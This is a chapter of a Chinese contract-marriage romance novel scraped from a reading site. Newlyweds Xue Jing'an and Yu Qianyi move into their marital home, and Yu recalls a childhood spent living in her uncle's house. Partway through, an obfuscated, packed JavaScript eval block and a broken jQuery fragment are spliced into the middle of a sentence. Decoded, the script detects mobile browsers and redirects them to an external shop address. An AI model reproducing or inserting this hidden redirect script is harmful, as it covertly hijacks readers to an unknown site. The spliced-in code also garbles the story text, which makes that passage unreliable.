文趣网 > 都市小说 > 虹梁[先婚后爱] > 8. 第 8 章
    轿车驶出小区大门后,薛景桉把从杨紫华那里收到的红包还给她。

    “你妈妈给的。”

    俞千意推回去:“没事,给了你就收着吧。”

    薛景桉蹙眉。她还真客气,让他拿这个钱算怎么回事,要让他良心不安吗?

    他把红包放到她腿上,视线回归前方路况:“那你帮我收着,就当帮我管账。”

    俞千意这才收下。

    “还有。”薛景桉问,“你怎么没和我说过你妈的情况?”

    “这跟我们结婚有关么?”俞千意问,“还是说你介意?”

    “不介意。”薛景桉眉心沉了沉,耐心解释:“我只是觉得我们现在是合法夫妻,不管你还是我,有关对方的底细都应该一清二楚。”

    “否则之后遇到什么紧急情况,会很难办。”

    俞千意觉得言之有理:“好,以后我会提前告诉你。”

    车子继续行驶在路上,两人不再有其他话题。各自怀揣心思,沉默不语。

    俞千意望着窗外。

    景色变换,从葱茏树木、沿街商铺变成了一幢幢点着灯的温馨洋房,她才反应过来,要到新家了。

    薛景桉开去俞千意家的车让司机提前开回来了,他开的是俞千意不要的那辆宾利。

    在车库把车停好,俞千意下车,想去后备箱搬行李。

    薛景桉叫住她:“别动,让他们来吧。”

    俞千意这才看见等在一旁的佣人,他们恭恭敬敬地喊了她一声“夫人”,随后帮她把行李取下,搬到室内。

    不过半小时的光景,俞千意觉得自己仿佛进入一个新的世界。

    薛景桉单手抄兜,走在她前面。

    浓重黑夜里,有星点微弱的光芒在他指间闪烁。俞千意这时才发现,那只修长干净、骨骼分明的手上,带着他们的婚戒。

    而她的手指上空空荡荡。

    她又想到从母亲家出来时,薛景桉对她说,有什么事情要知会他一声。

    俞千意这时才察觉到,薛景桉表面潇洒,实则却是个心思细腻、会为他人考虑的人。

    她却沉浸在自己的世界里,没把他涵盖进去。

    这事,确实是她做得不地道。

    她在心里记下,默默引以为戒,婚后可不能再这样。

    这栋婚房是薛景桉名下的房产之一。

    装修都是现成的,家具软装更新了一批,加上之前没住过,和新房无异。

    一路进来,薛景桉给她介绍了里面的各种房间和设施。一层是厨房、餐厅、佣人房,还有露台、花园和泳池;地下还有两层,分别是影音室和娱乐房。

    有钱人的空间果然不值钱。

    这么多功能对她来说,只要六七十坪大小就够。

    卧室和书房等都在二层。

    薛景桉上了楼,走到一间房前停下。

    “主卧是这间,但比起这里,或许你应该更好奇别的。”

    俞千意疑惑,没明白他的意思。

    薛景桉继续往前,打开隔壁一扇房门:“这是你要求的只属于你的房间。”

    “不太清楚你喜欢什么样的风格,先这样装了下。如果你有不满意的可以再换。”

    俞千意缓步走进。

    屋内陈设较为简洁,因为还没有安置物品,看上去有些空荡荡的。

    桌上摆放着造型精致的花瓶。里面插的鲜花,是薛景桉去她家之前买的,让人带回来放到她房里。

    鲜花是粉紫色系,紫白相间的蒙娜丽莎绣球和丁香,加上大朵白色的重瓣芍药,十分养眼。

    家居一应俱全,正中央是一张两米的大床,整体也是浅紫色的,四件套选了高级耐看的浅色条纹,正中央放了一只巨大的玩偶,是只同样浅紫色的垂耳兔。

    目光扫过,薛景桉和俞千意一样,第一眼同时注意到这只扎眼的垂耳兔。

    他几步上前,拎起兔子的耳朵,毫不留情地把玩偶拿开。

    “……这个不是。”

    他明明跟佣人通知过,不要把这只兔子放上去,怎么又出现在这?

    俞千意问:“什么不是?”

    “……兔子。等下让人拿走。”

    “为什么?”俞千意接过兔子,长长的耳朵从薛景桉手里释放出来。她把兔子捧在手里,目光沉静地打量:“挺可爱的。”

    薛景桉清了清嗓子:“去你家的时候,看到你房间里没有,以为你不喜欢这种东西。”

    “确实不喜欢。”

    薛景桉一怔。

    俞千意:“但也不讨厌。”

    她把垂耳兔放回床上原来的位置:“它在这坐着也挺好,这样没那么单调。”

    “……随你。”

    薛景桉掩饰尴尬,找着话题:“之后你可以陆陆续续添置些东西进来。但主要的个人物品,最好还是放在主卧。”

    “如果有家人来拜访,不会起疑心。”

    俞千意:“好。”

    她下意识还想道声谢,但想起薛景桉说的,让她不要表现得如此生分,理所当然地接受她得到的一切。

    她唇动了动,将二字咽回去。

    薛景桉靠在门边,默默观察俞千意,看她对他一手操办的房间似乎没什么别的反应。

    不过对俞千意来说,没有反应才是正常的反应。

    他的顾虑似乎多余。

    他仰头,抬手捏了捏后脖颈,声音慵懒:“别的房间你可以再逛逛,我有点累,先去洗个澡。”

    薛景桉离开后,俞千意在房里走动一圈,最后在书桌前的工学椅上坐下。

    她向后一靠,腿伸直,懒散地搭在地上,轻轻旋着椅子环视周围。

    视线落在床上。

    其实,她不讨厌那只兔子。

    同样的,她没告诉他的还有。

    她很喜欢这间屋子。

    自俞千意记事起,她的记忆被分为了两部分。车祸前的记忆占千分之一,剩余的都是车祸后。

    杨紫华出院后,她年岁尚小,两人都正是需要照顾的时候,所以她们搬进了舅舅家。

    哪怕舅妈再怎么反对,舅舅依然护着她们,给她们让出了三室一厅的其中一间,供母女两个人居住。

    和杨紫华住在一起,有时候半夜,俞千意会被她的呜咽声吵醒。她知道杨紫华和她做了同样的梦,因为同样的原因被困在噩梦

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17608877|205846||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    中,无法醒来。

    她不擅长安慰或是倾听,也怕因为自己,杨紫华又要继续克制压抑自己的感情。所以俞千意只是静静地背对着她,等她哭完,她才昏昏沉沉地睡去。

    寄人篱下后,俞千意学会了看眼色,也学会了隐藏心事。

    舅妈不高兴的时候,要尽量表现得乖巧。

    舅舅和舅妈吵架的时候,要做个透明人,永远不要给别人添麻烦。

    俞千意很早就懂得了何为边界感。

    在舅舅家时,她们住的房间很狭小。为了节省空间、维持环境整洁,她没有太多的玩具和个人物品,也没有什么特别的爱好和喜恶。

    俞千意领悟到的是,喜好是一种很麻烦的东西。

    一旦有了某种兴趣或喜好,就需要为这个喜好添置更多的东西。东西一旦变多,就会变得碍眼,还会破坏家里的某种空间平衡。

    空间若是失去平衡,关系也会失去平衡。

    所以对她来说,喜好这种东西,就和包装盒上的印花一样,没什么所谓。

    哪怕现在搬出来和杨紫华一起居住,家里也不敢摆放太多杂物,为了给轮椅腾出行动空间。房门也习惯敞着,为了杨紫华遇到什么麻烦的时候可以及时找她。

    她始终维持着这样的极简主义。

    此刻看着眼前那张两米的大床,俞千意忽然动了心思,想坐到床上感受一番。

    婚房里所有的家具床品都是上等的,床垫回弹柔软,稳固舒适。

    她摸了摸床上的天丝布料。

    薛景桉的品味很好,所以她觉得他为她选的紫色,或许还不错。浅紫色淡雅而不张扬,甚至让人感到……温暖。

    她决定,以后她就喜欢紫色了。

    -

    主卧里,佣人在帮俞千意收拾行李、摆放衣物,所以薛景桉去了隔壁的次卧洗澡。

    热水冲洗,降不去心烦意燥。他抬手,将热水切成冷水。

    严格来说,今天是新婚的第一天,说心里没有一点波澜是绝不可能。

    薛景桉闭眼,脑海里都是俞千意和杨紫华在家门口拥抱的画面,还有杨紫华对自己说的那些话。

    他结婚的初衷,仅仅是为了和父母对抗。比起她们母女,实在是轻如鸿毛。

    冷水从头顶不断浇下,漫过宽肩,划过身体每一寸肌理。

    杨紫华的那番话,一直在他耳边回响,仿佛某种靡靡之音,在一直提醒他:

    如果不能兑现他亲口说出的承诺,就不该做出这个错误的决定。

    ……

    洗完澡出来,薛景桉穿上浴袍,回到主卧。

    头发擦到半干,他合上门,将毛巾扔进一边的衣篓。

    再抬眼,床边站着一个披着长发的女人。

    薛景桉顿了顿,像是没料到她的出现:“你怎么在这?有事?”

    俞千意转过身,她应该也是刚洗完澡。黑发柔软地搭在肩上,洗去妆容的皮肤更加白净。

    他一眼便认出,她身上穿的是他为她准备的家居服。

    双手背在身后,清亮的眼睛注视着他:

    “这里不是主卧么?”俞千意说,“我们一起睡。”